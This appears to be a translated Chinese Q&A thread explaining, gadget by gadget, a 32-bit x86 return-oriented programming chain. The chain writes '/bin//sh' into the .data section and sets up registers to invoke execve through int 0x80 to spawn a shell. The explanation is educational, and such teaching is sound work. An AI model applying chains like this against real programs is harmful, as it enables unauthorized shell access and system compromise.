通过面向返回的编程自动开发

时间:2016-09-28 16:27:05

标签: assembly x86

我需要帮助了解此图片中的内容:image

我没有看到@ .data指令与mov dword ptr [edx], eax结合使用的内容,特别是考虑到edx会立即弹出。

1 个答案:

答案 0 :(得分:0)

简而言之,@ .data行指的是用于写入"/bin//sh"字符串的可写内存,稍后执行该字符串。 .data部分只是可执行文件的可读/可写部分,加载到内存中,通常用于存储全局变量。

以下是ROP链如何运作的细分:

pop edx ; ret
@ .data

这两个小工具会将.data部分的地址弹出为edx

pop eax ; ret
'/bin'

这些小工具会弹出0x6e69622f,或/bin//sh字符串的前四个字符变为eax

mov dword ptr [edx], eax ; ret

然后将eax的内容写入地址edx;此时,字符串的前四个字符已写在.data部分

的开头
pop edx ; ret
@ .data + 4

pop eax ; ret
'//sh'

mov dword ptr [edx], eax ; ret

这部分与写下字符串

的下四个字节完全相同
pop edx ; ret
@ .data + 8

xor eax, eax ; ret

mov dword ptr [edx], eax ; ret

然后在字符串之后写入四个空字节以使其终止

pop ebx ; ret
@ .data

这将获取ebx

中字符串的地址
pop ecx ; pop ebx ; ret
@ .data + 8
padding without overwrite ebx

这会将.data+8写入ecx并将.data写入ebx。 (请注意,此处的第三行是0x080f4060,我们可以看到上面三行.data的地址相同)

pop edx ; ret
@ .data + 8

这会将.data+8写入edx

xor eax, eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret
inc eax ; ret

这会将11写入eax

int 0x80

这将在Linux上执行系统调用。 Here是理解系统调用的绝佳资源。我们看到当eax为11(0xb)时,它是对execve的调用,其定义如下:

int execve(const char *filename, char *const argv[], char *const envp[]);

因此,ebxfilenameecxargvedxenvp。此时,ebx指向字符串/bin//shecxedx都指向.data+8。它们都被视为字符串,但由于.data+8包含空字节,ecxedx是空字符串。所以这个电话基本上是execve("/bin//sh", "", "");